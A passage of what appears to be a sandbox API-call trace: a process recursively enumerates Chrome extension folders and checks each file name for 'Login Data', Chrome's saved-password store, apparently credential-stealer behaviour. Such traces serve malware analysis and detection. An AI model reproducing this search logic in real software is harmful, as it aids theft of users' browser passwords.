lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.843] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.843] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0054.843] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0054.843] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*" [0054.843] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.843] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.844] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.844] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.844] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.844] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.844] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0054.844] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0054.844] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*" [0054.844] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.844] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.844] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.844] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.844] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.844] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.844] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0054.844] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0054.844] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*" [0054.844] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.844] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.844] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.844] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.844] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.844] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.844] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0054.845] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0054.845] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*" [0054.845] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.845] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.845] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.845] FindClose (in: hFindFile=0x72dbd0 | out: hFindFile=0x72dbd0) returned 1 [0054.845] lstrcpyA (in: lpString1=0x75c6a0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0054.845] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0054.845] lstrcpyA (in: lpString1=0x75c7a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0054.845] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0054.845] lstrcpyA (in: lpString1=0x74cdf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0054.845] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*" [0054.845] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.845] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Login Data") returned 0x0 [0054.845] StrStrIA (lpFirst="verified_contents.json", lpSrch="Login Data") returned 0x0 [0054.845] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0054.845] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0054.845] lstrcpyA (in: lpString1=0x761ea0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0054.846] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0054.846] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0054.846] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*" [0054.846] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 0x72db50 [0054.846] lstrcpyA (in: lpString1=0x76a4b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0054.846] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0054.846] lstrcpyA (in: lpString1=0x76a5b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0054.846] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0054.846] lstrcpyA (in: lpString1=0x75c598, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0054.846] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*" [0054.846] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.846] StrStrIA (lpFirst="icon_128.png", lpSrch="Login Data") returned 0x0 [0054.846] StrStrIA (lpFirst="icon_16.png", lpSrch="Login Data") returned 0x0 [0054.846] StrStrIA (lpFirst="main.html", lpSrch="Login Data") returned 0x0 [0054.846] StrStrIA (lpFirst="main.js", lpSrch="Login Data") returned 0x0 [0054.846] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0054.846] lstrcpyA (in: lpString1=0x75c6a0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0054.846] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 